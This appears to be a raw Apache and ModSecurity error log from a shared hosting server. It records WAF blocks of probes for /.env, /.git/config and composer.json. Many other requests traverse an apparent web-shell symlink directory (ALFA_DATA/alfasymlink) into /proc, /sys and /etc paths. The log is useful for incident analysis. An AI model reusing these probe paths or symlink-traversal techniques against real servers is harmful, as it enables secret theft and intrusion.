[Mon Oct 26 12:40:26.197319 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at-CenH-Y6Vcm97dx7AvlAAAAAs"]
[Mon Oct 26 12:40:26.197548 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at-CenH-Y6Vcm97dx7AvlAAAAAs"]
[Mon Oct 26 12:40:26.197807 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at-CenH-Y6Vcm97dx7AvlAAAAAs"]
[Mon Oct 26 12:40:26.272097 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.84.169.196:14668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:40:26.551913 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-CenH-Y6Vcm97dx7AvlQAAAAs"]
[Mon Oct 26 12:40:26.552163 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-CenH-Y6Vcm97dx7AvlQAAAAs"]
[Mon Oct 26 12:40:26.552453 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-CenH-Y6Vcm97dx7AvlQAAAAs"]
[Mon Oct 26 12:40:34.189876 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 54.225.81.20:16550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource2
[Mon Oct 26 12:40:38.360211 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 34.226.89.140:54900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:40:50.211759 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.83.180.239:8928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:06.249144 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.215.59.93:26065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:10.193545 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 44.205.180.155:41066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:14.357487 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 3.93.253.174:39628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/pvpanic/unbind
[Mon Oct 26 12:41:20.568658 2026] [authz_core:error] [pid 3065808:tid 3065808] [client 94.183.174.99:34140] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:41:23.566369 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Cps-doU5lRL_NAI8NygAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 12:41:23.566458 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Cps-doU5lRL_NAI8NygAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 12:41:26.374160 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 100.29.160.53:40986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:38.300390 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.210.114.189:27962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:44.346083 2026] [authz_core:error] [pid 3044303:tid 3044303] [client 185.242.226.98:53698] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:41:50.176547 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.221.203.24:23152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:41:54.167333 2026] [core:error] [pid 3062870:tid 3062870] (13)Permission denied: [client 34.227.156.153:22135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ata_piix/remove_id
[Mon Oct 26 12:41:58.200137 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.225.148.123:65180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:42:04.873546 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Cz8-doU5lRL_NAI8NzQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 12:42:04.873582 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Cz8-doU5lRL_NAI8NzQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 12:42:14.278590 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.204.81.148:36519] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:42:18.262581 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 107.20.25.33:30882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/cpu0/crash_notes
[Mon Oct 26 12:42:22.273483 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 184.72.84.154:62697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:42:26.247330 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.202.88.37:30834] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:42:34.792499 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 85.208.96.198:35402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/objects_partial
[Mon Oct 26 12:42:38.216501 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.73.142.41:5886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:42:40.064784 2026] [security2:error] [pid 3062279:tid 3062279] [client 107.172.76.131:55368] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-C9JWj_yOTriNwmYs-EAAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:42:40.064858 2026] [security2:error] [pid 3062279:tid 3062279] [client 107.172.76.131:55368] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-C9JWj_yOTriNwmYs-EAAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:42:46.186810 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.232.82.72:58161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:06.269124 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.202.233.37:49574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:10.220016 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.216.86.144:24531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:18.637016 2026] [security2:error] [pid 3064919:tid 3064919] [client 107.172.76.131:55362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-DGrYEFFy5IjBXhjlLmwAAABQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:43:18.637076 2026] [security2:error] [pid 3064919:tid 3064919] [client 107.172.76.131:55362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-DGrYEFFy5IjBXhjlLmwAAABQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:43:22.459645 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.205.91.101:7408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:34.347224 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 44.215.61.66:46994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:38.250637 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 23.21.179.27:17899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:45.001375 2026] [core:error] [pid 3065033:tid 3065033] (13)Permission denied: [client 85.208.96.207:48416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/trace
[Mon Oct 26 12:43:46.198519 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 44.223.232.55:50282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4_wc
[Mon Oct 26 12:43:50.195723 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 100.28.57.133:19209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:43:59.163072 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 185.191.171.6:42144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:03.888045 2026] [authz_core:error] [pid 3039832:tid 3039832] [client 164.92.182.157:27115] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:44:06.232353 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.231.156.59:34982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:10.197901 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 100.29.107.38:16802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:14.193646 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 98.83.10.183:39562] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:14.193871 2026] [security2:error] [pid 3065020:tid 3065020] [client 98.83.10.183:39562] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/block/vda/events_async"] [unique_id "at-DXl8Nv1D1ax-igrAb2gAAABg"]
[Mon Oct 26 12:44:14.193913 2026] [security2:error] [pid 3065020:tid 3065020] [client 98.83.10.183:39562] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/block/vda/events_async"] [unique_id "at-DXl8Nv1D1ax-igrAb2gAAABg"]
[Mon Oct 26 12:44:30.203252 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.231.193.38:47462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:37.707025 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-DagWgOHT1_mp01JumcQAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:44:37.707116 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-DagWgOHT1_mp01JumcQAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:44:42.210779 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.227.180.70:32209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:46.267225 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 3.229.164.203:11869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:44:50.194451 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 52.45.194.165:52641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/uhci_hcd/remove_id
[Mon Oct 26 12:45:18.343909 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 54.152.163.42:10479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:45:50.322144 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.224.9.144:16576] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:45:53.218024 2026] [security2:error] [pid 3065806:tid 3065806] [client 16.216.88.194:45056] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /beta/vendor/phpmailer/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-DwQ7tQS1M73WECjKOswAAAAY"]
[Mon Oct 26 12:45:53.218381 2026] [security2:error] [pid 3065806:tid 3065806] [client 16.216.88.194:45056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-DwQ7tQS1M73WECjKOswAAAAY"]
[Mon Oct 26 12:45:53.218868 2026] [security2:error] [pid 3065806:tid 3065806] [client 16.216.88.194:45056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-DwQ7tQS1M73WECjKOswAAAAY"]
[Mon Oct 26 12:45:54.204319 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.200.93.170:41345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:06.313038 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 44.223.116.149:1452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:14.191729 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.194.165.45:7545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:26.178865 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 98.83.177.42:48141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:28.226891 2026] [security2:error] [pid 3064975:tid 3064975] [client 91.92.240.86:54066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "at-D5MdX-waAlDqXJHtTHQAAABY"]
[Mon Oct 26 12:46:28.227103 2026] [security2:error] [pid 3064975:tid 3064975] [client 91.92.240.86:54066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "at-D5MdX-waAlDqXJHtTHQAAABY"]
[Mon Oct 26 12:46:29.264476 2026] [security2:error] [pid 3064975:tid 3064975] [client 91.92.240.86:54066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at-D5MdX-waAlDqXJHtTHQAAABY"]
[Mon Oct 26 12:46:30.237160 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.235.191.179:16325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:34.280980 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 100.29.155.89:25953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:38.303953 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.166.126.132:32656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:46:58.241470 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 18.207.89.138:41072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0303:00/physical_node/driver/uevent
[Mon Oct 26 12:47:14.200499 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.147.182.90:6986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:18.321841 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.207.69.106:4703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:26.321721 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.147.80.137:21860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:30.331787 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 44.217.177.142:63041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:34.371422 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.203.68.145:16493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:46.213152 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.215.77.19:37390] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:47:54.203660 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 54.156.124.2:20907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:01.393912 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 85.208.96.210:23546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/cpu_slabs
[Mon Oct 26 12:48:05.000622 2026] [core:error] [pid 3065033:tid 3065033] (13)Permission denied: [client 185.191.171.10:47692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/usersize
[Mon Oct 26 12:48:10.179800 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 34.196.114.170:31249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:14.447166 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 54.152.163.42:12625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:26.225597 2026] [security2:error] [pid 3065028:tid 3065028] [client 16.216.88.116:45056] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/fastcgi_params"] [unique_id "at-EWuT2b3J_8INWoQcYyAAAABI"]
[Mon Oct 26 12:48:26.225654 2026] [security2:error] [pid 3065028:tid 3065028] [client 16.216.88.116:45056] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/fastcgi_params"] [unique_id "at-EWuT2b3J_8INWoQcYyAAAABI"]
[Mon Oct 26 12:48:26.403421 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 50.19.79.213:22945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:42.217397 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 52.70.209.13:62751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:50.300878 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.207.47.227:8211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:53.765937 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 185.191.171.15:15726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:54.202978 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 107.20.25.33:57421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/bind
[Mon Oct 26 12:48:55.485443 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 185.191.171.15:15742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:48:58.252711 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.194.95.99:53914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:49:08.120501 2026] [security2:error] [pid 3062279:tid 3062279] [client 107.172.76.131:55368] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Ed5Wj_yOTriNwmYs-LwAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:49:08.120555 2026] [security2:error] [pid 3062279:tid 3062279] [client 107.172.76.131:55368] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Ed5Wj_yOTriNwmYs-LwAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:49:10.248162 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.200.54.136:20349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:49:22.244909 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.205.113.104:13568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:49:26.384426 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.225.181.161:37525] AH02013: coalesce failed to read from data bucket
